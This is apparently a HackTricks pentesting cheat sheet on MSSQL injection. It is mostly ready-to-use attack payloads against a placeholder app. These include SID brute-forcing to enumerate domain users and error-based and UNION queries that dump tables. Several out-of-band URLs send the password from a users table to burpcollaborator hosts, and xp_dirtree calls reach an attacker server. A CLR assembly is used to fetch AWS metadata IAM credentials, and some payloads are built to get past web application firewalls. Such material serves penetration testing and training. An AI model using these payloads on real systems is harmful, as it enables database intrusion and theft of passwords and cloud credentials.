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256 lines
14 KiB
Markdown
256 lines
14 KiB
Markdown
# MSSQL Injection
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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</details>
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## Active Directory enumeration
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It may be possible to **enumerate domain users via SQL injection inside a MSSQL** server using the following MSSQL functions:
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* **`SELECT DEFAULT_DOMAIN()`**: Get current domain name. 
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* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: If you know the name of the domain (_DOMAIN_ in this example) this function will return the **SID of the user Administrator** in hex format. This will look like `0x01050000000[...]0000f401`, note how the **last 4 bytes** are the number **500** in **big endian** format, which is the **common ID of the user administrator**.\
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This function will allow you to **know the ID of the domain** (all the bytes except of the last 4).
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* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : This function will return the **username of the ID indicated** (if any), in this case **0000e803** in big endian == **1000** (usually this is the ID of the first regular user ID created). Then you can imagine that you can brute-force user IDs from 1000 to 2000 and probably get all the usernames of the users of the domain. For example using a function like the following one:
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```python
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def get_sid(n):
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domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
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user = struct.pack('<I', int(n))
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user = user.hex()
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return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
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```
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## **Alternative Error-Based vectors**
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Error-based SQL injections typically resemble constructions such as `+AND+1=@@version--` and variants based on the «OR» operator. Queries containing such expressions are usually blocked by WAFs. As a bypass, concatenate a string using the %2b character with the result of specific function calls that trigger a data type conversion error on sought-after data.
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Some examples of such functions:
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* `SUSER_NAME()`
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* `USER_NAME()`
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* `PERMISSIONS()`
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* `DB_NAME()`
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* `FILE_NAME()`
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* `TYPE_NAME()`
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* `COL_NAME()`
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Example use of function `USER_NAME()`:
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```
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https://vuln.app/getItem?id=1'%2buser_name(@@version)--
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```
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## SSRF
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### `fn_xe_file_target_read_file`
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```
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https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
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```
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**Permissions:** Requires **`VIEW SERVER STATE`** permission on the server.
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```sql
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# Check if you have it
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SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
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# Or doing
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Use master;
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EXEC sp_helprotect 'fn_xe_file_target_read_file';
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```
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### `fn_get_audit_file`
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```
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https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
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```
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**Permissions:** Requires the **`CONTROL SERVER`** permission.
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```sql
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# Check if you have it
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SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
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# Or doing
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Use master;
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EXEC sp_helprotect 'fn_get_audit_file';
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```
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### `fn_trace_gettabe`
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```
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https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
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```
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**Permissions:** Requires the **`CONTROL SERVER`** permission.
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```sql
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# Check if you have it
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SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
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# Or doing
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Use master;
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EXEC sp_helprotect 'fn_trace_gettabe';
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```
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### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
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The most common method to make a network call yosqlu will come across using MSSQL is the usage of the Stored Procedure `xp_dirtree`, which weirdly is undocumented by Microsoft, which caused it to be [documented by other folks on the Internet](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/). This method has been used in [multiple examples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) of [Out of Band Data exfiltration](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) posts on the Internet.
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Essentially,
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```sql
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DECLARE @user varchar(100);
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SELECT @user = (SELECT user);
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EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
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```
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Much like MySQL’s `LOAD_FILE`, you can use `xp_dirtree` to make a network request to **only TCP port 445**. You cannot control the port number, but can read information from network shares. 
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**PS:** This does not work on `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` running on a `Windows Server 2016 Datacenter` in the default config.
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There are **other** stored procedures **** [**like `master..xp_fileexist`**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx) or **`xp_subdirs`** that can be used for similar results.
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### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
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Obviously you could also use **`xp_cmdshell`** to **execute** something that triggers a **SSRF**. For more info **read the relevant section** in the page:
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{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
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[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
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{% endcontent-ref %}
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### MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
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It is fairly straightforward to write a **CLR UDF** (Common Language Runtime User Defined Function - code written with any of the **.NET** languages and compiled into a **DLL**) and **load it within MSSQL for custom functions**. This, however, **requires `dbo` access** so may not work unless the web application connection to the database **as `sa` or an Administrator role**.
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[This Github repo has the Visual Studio project and the installation instructions](https://github.com/infiniteloopltd/SQLHttp) to load the binary into MSSQL as a CLR assembly and then invoke HTTP GET requests from within MSSQL.
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The [`http.cs` code uses the `WebClient` class to make a GET request and fetch the content](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) as specified
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```csharp
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using System.Data.SqlTypes;
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using System.Net;
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public partial class UserDefinedFunctions
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{
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[Microsoft.SqlServer.Server.SqlFunction]
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public static SqlString http(SqlString url)
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{
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var wc = new WebClient();
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var html = wc.DownloadString(url.Value);
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return new SqlString (html);
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}
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}
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```
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In the installation instructions, run the following before the `CREATE ASSEMBLY` query to add the SHA512 hash of the assembly to the list of trusted assemblies on the server (you can see the list using `select * from sys.trusted_assemblies;`)
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```sql
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EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
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```
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Once the assembly is added and the function created, we can run the following to make our HTTP requests
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```sql
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DECLARE @url varchar(max);
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SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
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SELECT dbo.http(@url);
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```
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## **Quick exploitation: Retrieve an entire table in one query**
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There exist two simple ways to retrieve the entire contents of a table in one query — the use of the FOR XML or the FOR JSON clause. The FOR XML clause requires a specified mode such as «raw», so in terms of brevity FOR JSON outperforms it.
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The query to retrieve the schema, tables and columns from the current database:
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```
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https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
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```
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Error-based vectors need an alias or a name, since the output of expressions without either cannot be formatted as JSON.
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```
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https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
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```
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## **Retrieving the current query**
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The current SQL query being executed can be retrieved from access `sys.dm_exec_requests` and `sys.dm_exec_sql_text`:
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```
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https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
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```
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**Permissions:** If the user has VIEW SERVER STATE permission on the server, the user will see all executing sessions on the instance of SQL Server; otherwise, the user will see only the current session.
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```sql
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# Check if you have it
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SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
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```
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## **Little tricks for WAF bypasses**
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Non-standard whitespace characters: %C2%85 или %C2%A0:
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```
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https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
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```
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Scientific (0e) and hex (0x) notation for obfuscating UNION:
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```
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https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
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https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
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```
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A period instead of a whitespace between FROM and a column name:
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```
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https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
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```
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\N seperator between SELECT and a throwaway column:
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```
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https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
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```
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## References
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* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
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* [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL)
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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